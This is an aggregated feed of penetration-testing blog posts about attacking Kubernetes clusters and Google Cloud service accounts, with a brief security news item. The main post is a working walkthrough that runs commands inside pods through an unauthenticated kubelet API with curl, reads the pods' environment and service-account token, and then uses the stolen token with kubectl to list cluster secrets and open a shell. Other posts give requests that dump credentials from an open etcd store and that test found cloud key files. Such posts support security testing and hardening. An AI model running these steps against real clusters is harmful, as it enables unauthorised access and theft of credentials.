Kubernetes: unauth kublet API 10250 token theft & kubectl

Kubernetes: unauthenticated kublet API (10250) token theft & kubectl access & execkube-hunter output to get us started: do a curl -s https://k8-node:10250/runningpods/ to get a list of running podsWith that data, you can craft your post request to exec within a pod so we can poke around. Example request:curl -k -XPOST “https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"Output:total 35264drwxr-xr-x    1 root     root          4096 Nov  9 16:27 .drwxr-xr-x    1 root     root          4096 Nov  9 16:27 ..-rwxr-xr-x    1 root     root             0 Nov  9 16:27 .dockerenvdrwxr-xr-x    2 root     root          4096 Nov  9 16:27 bindrwxr-xr-x    5 root     root           380 Nov  9 16:27 dev-rwxr-xr-x    1 root     root      36047205 Apr 13  2018 dnsmasq-nannydrwxr-xr-x    1 root     root          4096 Nov  9 16:27 etcdrwxr-xr-x    2 root     root          4096 Jan  9  2018 homedrwxr-xr-x    5 root     root          4096 Nov  9 16:27 libdrwxr-xr-x    5 root     root          4096 Nov  9 16:27 mediadrwxr-xr-x    2 root     root          4096 Jan  9  2018 mntdr-xr-xr-x  134 root     root             0 Nov  9 16:27 procdrwx——    2 root     root          4096 Jan  9  2018 rootdrwxr-xr-x    2 root     root          4096 Jan  9  2018 rundrwxr-xr-x    2 root     root          4096 Nov  9 16:27 sbindrwxr-xr-x    2 root     root          4096 Jan  9  2018 srvdr-xr-xr-x   12 root     root             0 Dec 19 19:06 sysdrwxrwxrwt    1 root     root          4096 Nov  9 17:00 tmpdrwxr-xr-x    7 root     root          4096 Nov  9 16:27 usrdrwxr-xr-x    1 root     root          4096 Nov  9 16:27 varCheck the env and see if the kublet tokens are in the environment variables. depending on the cloud provider or hosting provider they are sometimes right there. Otherwise we need to retrieve them from:1. the mounted folder2. the cloud metadata urlCheck the env with the following command:curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"We are looking for the KUBLET_CERT, KUBLET_KEY, & CA_CERT environment variables.We are also looking for the kubernetes API server. This is most likely NOT the host you are messing with on 10250. We are looking for something like:KUBERNETES_PORT=tcp://10.10.10.10:443orKUBERNETES_MASTER_NAME: 10.11.12.13:443Once we get the kubernetes tokens or keys we need to talk to the API server to use them. The kublet (10250) wont know what to do with them.  This may be (if we are lucky) another public IP or a 10. IP.  If it’s a 10. IP we need to download kubectl to the pod.Assuming it’s not in the environment variables let’s look and see if they are there in the mounted secretscurl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount"sample output truncated:cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)/dev/sda1 on /dev/termination-log type ext4 (rw,relatime,commit=30,data=ordered)/dev/sda1 on /etc/k8s/dns/dnsmasq-nanny type ext4 (rw,relatime,commit=30,data=ordered)tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)/dev/sda1 on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)/dev/sda1 on /etc/hostname type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)/dev/sda1 on /etc/hosts type ext4 (rw,relatime,commit=30,data=ordered)shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)We can then cat out the ca.cert, namespace, and tokencurl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount"Output:total 4drwxrwxrwt    3 root     root         140 Nov  9 16:27 .drwxr-xr-x    3 root     root        4.0K Nov  9 16:27 ..lrwxrwxrwx    1 root     root          13 Nov  9 16:27 ca.crt -> ..data/ca.crtlrwxrwxrwx    1 root     root          16 Nov  9 16:27 namespace -> ..data/namespacelrwxrwxrwx    1 root     root          12 Nov  9 16:27 token -> ..data/tokenand then:curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"output:eyJhbGciOiJSUzI1NiI—SNIP—Also grab the ca.crt :-)With the token, ca.crt and api server IP address we can issue commands with kubectl.$ kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— get pods –all-namespacesOutput:NAMESPACE     NAME                                                            READY     STATUS    RESTARTS   AGEkube-system   event-exporter-v0.1.9-5c-SNIP                          2/2       Running   2          120dkube-system   fluentd-cloud-logging-gke-eeme-api-default-pool   1/1       Running   1          2ykube-system   heapster-v1.5.2-5-SNIP                              3/3       Running   0          27dkube-system   kube-dns-5b8-SNIP                                       4/4       Running   0          61dkube-system   kube-dns-autoscaler-2-SNIP                             1/1       Running   1          252dkube-system   kube-proxy-gke-eeme-api-default-pool              1/1       Running   1          2y kube-system   kubernetes-dashboard-7-SNIP                           1/1       Running   0          27dkube-system   l7-default-backend-10-SNIP                            1/1       Running   0          27dkube-system   metrics-server-v0.2.1-7-SNIP                         2/2       Running   0          120dat this point you can pull secrets or exec into any available pods$ kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— get secrets –all-namespacesto get a shell via kubectl$ kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— get pods –namespace=kube-systemNAME                                                            READY     STATUS    RESTARTS   AGEevent-exporter-v0.1.9-5-SNIP               2/2       Running   2          120d–SNIP–metrics-server-v0.2.1-7f8ee58c8f-ab13f     2/2       Running   0          120d$ kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f –namespace=kube-system–server=https://1.2.3.4  –certificate-authority=ca.crt –token=eyJhbGciOiJSUzI1NiI—SNIP— /bin/sh/ # ls -lahtotal 40220drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 .drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 ..-rwxr-xr-x    1 root     root           0 Sep 11 07:25 .dockerenvdrwxr-xr-x    3 root     root        4.0K Sep 11 07:25 apiserver.local.configdrwxr-xr-x    2 root     root       12.0K Sep 11 07:24 bindrwxr-xr-x    5 root     root         380 Sep 11 07:25 devdrwxr-xr-x    1 root     root        4.0K Sep 11 07:25 etcdrwxr-xr-x    2 nobody   nogroup     4.0K Nov  1  2017 home-rwxr-xr-x    2 root     root       39.2M Dec 20  2017 metrics-serverdr-xr-xr-x  135 root     root           0 Sep 11 07:25 procdrwxr-xr-x    1 root     root        4.0K Dec 19 21:33 rootdr-xr-xr-x   12 root     root           0 Dec 19 19:06 sysdrwxrwxrwt    1 root     root        4.0K Oct 18 13:57 tmpdrwxr-xr-x    3 root     root        4.0K Sep 11 07:24 usrdrwxr-xr-x    1 root     root        4.0K Sep 11 07:25 varFor completeness if you got the keys via the environment variables the kubectl command would be something like this:kubectl –server=https://1.2.3.4 –certificate-authority=ca.crt –client-key=kublet.key –client-certificate=kublet.crt get pods –all-namespaces

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250_16.html

Kubernetes: List of ports

Other Kubernetes portsWhat are some of the visible ports used in Kubernetes?44134/tcp – Helmtiller, weave, calico10250/tcp – kubelet (kublet exploit)No authN, completely open/pods/runningpods/containerLogs10255/tcp – kublet port (read-only)/stats/metrics/pods4194/tcp – cAdvisor2379/tcp – etcd (see it on other ports though)Etcd holds all the configsConfig storage30000 – dashboard443/6443 – api

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-list-of-ports.html

Kubernetes: Kubelet API containerLogs endpoint

How to get the info that kube-hunter reports for open /containerLogs endpointVulnerabilities+—————+————-+——————+———————-+—————-+| LOCATION       CATEGORY     | VULNERABILITY    | DESCRIPTION          | EVIDENCE       |+—————+————-+——————+———————-+—————-++—————-+————+——————+———————-+—————-+| 1.2.3.4:10250 | Information | Exposed Container| Output logs from a   |                ||               | Disclosure  | Logs             | running container    |                ||               |             |                  | are using the        |                ||               |             |                  | exposed              |                ||               |             |                  | /containerLogs       |                ||               |             |                  | endpoint             |                |+—————+————-+——————+———————-+—————-+First step, grab the output from /runningpods/ example below:You’ll need the namespace, pod name and container name.Thus given the below runningpods output:{“metadata":{"name":"monitoring-influxdb-grafana-v4-6679c46745-zhvjw","namespace":"kube-system","uid":"0d22cdad-06e5-11e9-a7f3-6ac885fbc092","creationTimestamp":null},"spec":{"containers":[{"name":"grafana","image":"sha256:8cb3de219af7bdf0b3ae66439aecccf94cebabb230171fa4b24d66d4a786f4f7","resources":{}},{"name":"influxdb","image":"sha256:577260d221dbb1be2d83447402d0d7c5e15501a89b0e2cc1961f0b24ed56c77c","resources":{}}]},turns into:https://1.2.3.4:10250/containerLogs/kube-system/monitoring-influxdb-grafana-v4-6679c46745-zhvjw/grafanaandhttps://1.2.3.4:10250/containerLogs/kube-system/monitoring-influxdb-grafana-v4-6679c46745-zhvjw/influxdb

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kubelet-api-containerlogs.html

Kubernetes: Kubernetes Dashboard

Tesla was famously hacked for leaving this open and it’s pretty rare to find it exposed externally now but useful to know what it is and what you can do with it.Usually found on port 30000kube-hunter finding for it:Vulnerabilities+———————–+—————+———————-+———————-+——————+| LOCATION              | CATEGORY      | VULNERABILITY        | DESCRIPTION          | EVIDENCE         |+———————–+—————+———————-+———————-+——————+| 1.2.3.4:30000         | Remote Code   | Dashboard Exposed    | All oprations on the | nodes: pach-okta ||                       | Execution     |                      | cluster are exposed  |                  |+———————–+—————+———————-+———————-+——————+Why do you care?  It has access to all pods and secrets within the cluster. So rather than using command line tools to get secrets or run code you can just do it in a web browser.Screenshots of what it looks like:viewing secretsutilizationlogsshells

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kubernetes-dashboard.html

Etherium, Zerodium, Containers – Hack Naked News #202

    Etherium hit by Double Spend attack, NSA to release reverse engineering tool for free, a Skype Glitch allowed Android Authentication Bypass, Zerodium offers $2Million for remote iOS jailbreaks, and Tens of Thousands of Hot Tubs are exposed to hack! Our CEO Matt Alderman joins us for expert commentary on Container Security Lags Amidst […]
The post Etherium, Zerodium, Containers – Hack Naked News #202 appeared first on Security Weekly.

Link: http://feedproxy.google.com/~r/securityweekly/Lviv/~3/NbmtVrG1SxA/

Kubernetes: kube-hunter.py etcd

I mentioned in the master post one a few auditing tools that exist. Kube-Hunter is one that is pretty ok.  You can use this to quickly scan for multiple kubernetes issues.Example run:$ ./kube-hunter.pyChoose one of the options below:1. Remote scanning      (scans one or more specific IPs or DNS names)2. Subnet scanning      (scans subnets on all local network interfaces)3. IP range scanning    (scans a given IP range)Your choice: 1Remotes (separated by a ‘,’): 1.2.3.4~ Started~ Discovering Open Kubernetes Services…|| Etcd:|   type: open service|   service: Etcd|_  host: 1.2.3.4:2379|| Etcd Remote version disclosure:|   type: vulnerability|   host: 1.2.3.4:2379|   description:|     Remote version disclosure might give an|_    attacker a valuable data to attack a cluster|| Etcd is accessible using insecure connection (HTTP):|   type: vulnerability|   host: 1.2.3.4:2379|   description:|     Etcd is accessible using HTTP (without|     authorization and authentication), it would allow a|     potential attacker to|     gain access to|_    the etcd|| Etcd Remote Read Access Event:|   type: vulnerability|   host: 1.2.3.4:2379|   description:|     Remote read access might expose to an|_    attacker cluster’s possible exploits, secrets and more.———-Nodes+————-+—————-+| TYPE        | LOCATION       |+————-+—————-+| Node/Master | 1.2.3.4        |+————-+—————-+Detected Services+———+———————+———————-+| SERVICE | LOCATION            | DESCRIPTION          |+———+———————+———————-+| Etcd    | 1.2.3.4:2379        | Etcd is a DB that    ||         |                     | stores cluster’s     ||         |                     | data, it contains    ||         |                     | configuration and    ||         |                     | current state        ||         |                     | information, and     ||         |                     | might contain        ||         |                     | secrets              |+———+———————+———————-+Vulnerabilities+————–+——————+———————-+———————+————————–+| LOCATION     | CATEGORY         | VULNERABILITY        | DESCRIPTION         | EVIDENCE                 |+————–+——————+———————-+———————+————————–+| 1.2.3.4:2379 | Unauthenticated  | Etcd is accessible   | Etcd is accessible  | {“etcdserver":"3.3.9     ||              | Access           | using insecure       | using HTTP (without | ","etcdcluster":"3.3     ||              |                  | connection (HTTP)    | authorization and   | …                      ||              |                  |                      | authentication), it |                          ||              |                  |                      | would allow a       |                          ||              |                  |                      | potential attacker  |                          ||              |                  |                      | to                  |                          ||              |                  |                      |     gain access to  |                          ||              |                  |                      | the etcd            |                          |+———————+———————-+———————-+———————-+————–+| 1.2.3.4:2379 | Information      | Etcd Remote version  | Remote version      | {"etcdserver":"3.3.9     ||              | Disclosure       | disclosure           | disclosure might    | ","etcdcluster":"3.3     ||              |                  |                      | give an attacker a  | …                      ||              |                  |                      | valuable data to    |                          ||              |                  |                      | attack a cluster    |                          |+———————+———————-+———————-+———————-+————–+| 1.2.3.4:2379 | Access Risk      | Etcd Remote Read     | Remote read access  | {"action":"get","nod     ||              |                  | Access Event         | might expose to an  | e":{"dir":true,"node     ||              |                  |                      | attacker cluster’s  | …                      ||              |                  |                      | possible exploits,  |                          ||              |                  |                      | secrets and more.   |                          |+————–+——————+———————-+———————+————————–+

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kube-hunterpy-etcd.html

Kubernetes: open etcd

Quick post on Kubernetes and open etcd (port 2379)”etcd is a distributed key-value store. In fact, etcd is the primary datastore of Kubernetes; storing and replicating all Kubernetes cluster state. As a critical component of a Kubernetes cluster having a reliable automated approach to its configuration and management is imperative."-from: https://coreos.com/blog/introducing-the-etcd-operator.html What this means in english is that etcd stores the current state of the Kubernetes cluster usually including the kubernetes tokens and passwords.  If you check out the following references you can get a sense for the pain level that could potentially be involved. At minimum you can get network info or running pods and at best credentials.refs: https://techbeacon.com/hackers-guide-kubernetes-security https://elweb.co/the-security-footgun-in-etcd/https://raesene.github.io/blog/2017/05/01/Kubernetes-Security-etcd/the second link talks extensively around types of info the found when they hit all the shodan endpoints for 2379 and did some analysis on the results.If you manage to find open etcd the easiest way to check for creds is to just do a curl request for:GET http://ip_address:2379/v2/keys/?recursive=trueExample Loot – Usually it’s boring stuff like this:But occasionally you’ll get more interesting things like:or more fun things like kublet tokens:

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-open-etcd.html

Kubernetes: cAdvisor

“cAdvisor (Container Advisor) provides container users an understanding of the resource usage and performance characteristics of their running containers. It is a running daemon that collects, aggregates, processes, and exports information about running containers."runs on port 4194Links:https://kubernetes.io/docs/tasks/debug-application-cluster/resource-usage-monitoring/https://raesene.github.io/blog/2016/10/14/Kubernetes-Attack-Surface-cAdvisor/What do you get?information disclosure about metrics of the containers.Example request to hit the API and dump data:http://1.2.3.4:4194/api/v2.0/spec?recursive=trueScreenshots

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-cadvisor.html

Kubernetes: Master Post

I have a few Kubernetes posts queued up and will make this the master post to index and give references for the topic. If i’m missing blog posts or useful resources ping me here or twitter.Talks you should watch if you are interested in Kubernetes:https://www.youtube.com/watch?v=vTgQLzeBfRUhttps://github.com/bgeesaman/https://github.com/bgeesaman/hhkbe [demos for the talk above]https://schd.ws/hosted_files/kccncna17/d8/Hacking%20and%20Hardening%20Kubernetes%20By%20Example%20v2.pdf [side deck]https://www.youtube.com/watch?v=1k-GIDXgfLwhttps://www.youtube.com/watch?v=dxKpCO2dAy8https://www.youtube.com/watch?v=ohTq0no0ZVUBlog Posts by others:https://techbeacon.com/hackers-guide-kubernetes-securityhttps://elweb.co/the-security-footgun-in-etcd/https://www.4armed.com/blog/hacking-kubelet-on-gke/https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/https://www.4armed.com/blog/hacking-digitalocean-kubernetes/https://github.com/freach/kubernetes-security-best-practicehttps://neuvector.com/container-security/kubernetes-security-guide/https://medium.com/@pczarkowski/the-kubernetes-api-call-is-coming-from-inside-the-cluster-f1a115bd2066https://blog.intothesymmetry.com/2018/12/persistent-xsrf-on-kubernetes-dashboard.htmlhttps://raesene.github.io/blog/2016/10/14/Kubernetes-Attack-Surface-cAdvisor/https://raesene.github.io/blog/2017/05/01/Kubernetes-Security-etcd/Auditing toolshttps://github.com/Shopify/kubeaudithttps://github.com/aquasecurity/kube-benchhttps://github.com/aquasecurity/kube-hunterCG Posts:Open Etcd: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-open-etcd.htmlEtcd with kube-hunter: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-kube-hunterpy-etcd.htmlcAdvisor: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-cadvisor.htmlKubernetes dashboardsKublet 10255Kublet 10250     – Container Logs     – Getting shellzCloud Metadata Urls and Kubernetes-I’ll update as they get posted

Link: http://carnal0wnage.attackresearch.com/2019/01/kubernetes-master-post.html

I found a GCP service account token…now what?

Google Cloud Platform (GCP) is rapidly growing in popularity and i haven’t seen too many posts on  f**king it up so I’m going to do at least one :-)Google has several ways to do authentication but most likely what you are going to come across shoved into code somewhere or in a dotfiles is a service account json file.It’s going to look similar to this:These service account files are similar to AWS tokens in that it can be difficult to determine what they have access to if you don’t already have console and/or IAM access. However with a little bit of scripting we can brute force at least some of the token’s functionality pretty quickly. The issue being service accounts for something like GCP compute looks the same as one you made to manage your calendar or one of the 100’s of other Google services.You’ll need to install the gcloud tools for you OS. Info here:  https://cloud.google.com/sdk/Once you have the gcloud suite of tools installed you can auth with the json file with the following command:gcloud auth activate-service-account –key-file=KEY_FILEIf they key is invalid you’ll see something like the below:gcloud auth activate-service-account –key-file=21.jsonERROR: (gcloud.auth.activate-service-account) There was a problem refreshing your current auth tokens: invalid_grant: Not a valid email or user ID.Otherwise it will look similar to below:gcloud auth activate-service-account –key-file=/Users/CG/Documents/pentest/gcp-weirdaal/gcp.jsonActivated service account credentials for: [python@removed.iam.gserviceaccount.com]you can validate it worked by issuing gcloud auth list command:gcloud auth list                  Credentialed AccountsACTIVE  ACCOUNT*       python@removed.iam.gserviceaccount.comI put together a shell script that runs though a bunch of command to enumerate information. They only you info need to provide is the project name. This can be found in the json file in the project_id  field or by issuing the  gcloud project list command.  Sometimes there are multiple projects associated with an account and you’d need to run the shell script with for each project.The first time you run these api calls you might need to pass a “Y" to the cli to enable it. you can get around this manual shenanigans by doing a:yes | ./gcp_enum.sh This will answer Yes for you each time :-)The script is here: https://gist.github.com/carnal0wnage/757d19520fcd9764b24ebd1d89481541 NCC Group also has two tools you could check out:https://github.com/nccgroup/G-Scoutandhttps://github.com/nccgroup/ScoutSuiteenjoyCG

Link: http://carnal0wnage.attackresearch.com/2019/01/i-found-gcp-service-account-tokennow.html